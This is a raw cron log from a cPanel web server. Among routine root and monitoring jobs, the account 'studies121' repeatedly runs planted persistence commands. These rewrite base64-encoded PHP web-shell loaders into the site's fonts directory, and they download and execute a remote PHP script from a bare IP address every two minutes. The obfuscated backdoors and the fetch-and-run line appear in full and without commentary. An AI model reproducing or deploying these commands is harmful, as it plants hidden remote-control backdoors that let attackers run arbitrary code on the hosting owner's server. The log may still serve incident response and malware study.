Sep  1 01:46:01 ip-184-168-122-23 CROND[28377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:46:01 ip-184-168-122-23 CROND[28375]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 01:47:01 ip-184-168-122-23 CROND[28464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:47:01 ip-184-168-122-23 CROND[28466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:47:01 ip-184-168-122-23 CROND[28467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:47:01 ip-184-168-122-23 CROND[28469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:48:01 ip-184-168-122-23 CROND[28544]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:48:01 ip-184-168-122-23 CROND[28546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:48:01 ip-184-168-122-23 CROND[28549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:48:01 ip-184-168-122-23 CROND[28547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:48:01 ip-184-168-122-23 CROND[28552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:49:01 ip-184-168-122-23 CROND[28719]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  1 01:49:01 ip-184-168-122-23 CROND[28720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:49:01 ip-184-168-122-23 CROND[28723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:49:01 ip-184-168-122-23 CROND[28724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:49:01 ip-184-168-122-23 CROND[28725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:50:01 ip-184-168-122-23 CROND[28832]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:50:01 ip-184-168-122-23 CROND[28836]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 01:50:01 ip-184-168-122-23 CROND[28841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:50:01 ip-184-168-122-23 CROND[28843]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 01:50:01 ip-184-168-122-23 CROND[28839]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:50:01 ip-184-168-122-23 CROND[28842]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:50:01 ip-184-168-122-23 CROND[28840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:50:01 ip-184-168-122-23 CROND[28838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:50:01 ip-184-168-122-23 CROND[28844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:51:01 ip-184-168-122-23 CROND[28954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:51:01 ip-184-168-122-23 CROND[28956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:51:01 ip-184-168-122-23 CROND[28957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:51:01 ip-184-168-122-23 CROND[28959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:52:01 ip-184-168-122-23 CROND[29036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:52:01 ip-184-168-122-23 CROND[29037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:52:01 ip-184-168-122-23 CROND[29040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:52:01 ip-184-168-122-23 CROND[29039]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:52:01 ip-184-168-122-23 CROND[29042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:53:01 ip-184-168-122-23 CROND[29117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:53:01 ip-184-168-122-23 CROND[29118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:53:01 ip-184-168-122-23 CROND[29120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:53:01 ip-184-168-122-23 CROND[29121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:54:02 ip-184-168-122-23 CROND[29215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:54:02 ip-184-168-122-23 CROND[29217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:54:02 ip-184-168-122-23 CROND[29218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:54:02 ip-184-168-122-23 CROND[29219]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:54:02 ip-184-168-122-23 CROND[29221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:55:01 ip-184-168-122-23 CROND[29379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:55:01 ip-184-168-122-23 CROND[29384]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:55:01 ip-184-168-122-23 CROND[29388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:55:01 ip-184-168-122-23 CROND[29390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:55:01 ip-184-168-122-23 CROND[29391]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:55:01 ip-184-168-122-23 CROND[29395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:56:01 ip-184-168-122-23 CROND[29485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:56:01 ip-184-168-122-23 CROND[29488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:56:01 ip-184-168-122-23 CROND[29486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:56:01 ip-184-168-122-23 CROND[29487]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:56:01 ip-184-168-122-23 CROND[29489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:57:01 ip-184-168-122-23 CROND[29592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:57:01 ip-184-168-122-23 CROND[29595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:57:01 ip-184-168-122-23 CROND[29596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:57:01 ip-184-168-122-23 CROND[29597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:58:01 ip-184-168-122-23 CROND[29697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:58:01 ip-184-168-122-23 CROND[29699]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:58:01 ip-184-168-122-23 CROND[29702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:58:01 ip-184-168-122-23 CROND[29704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
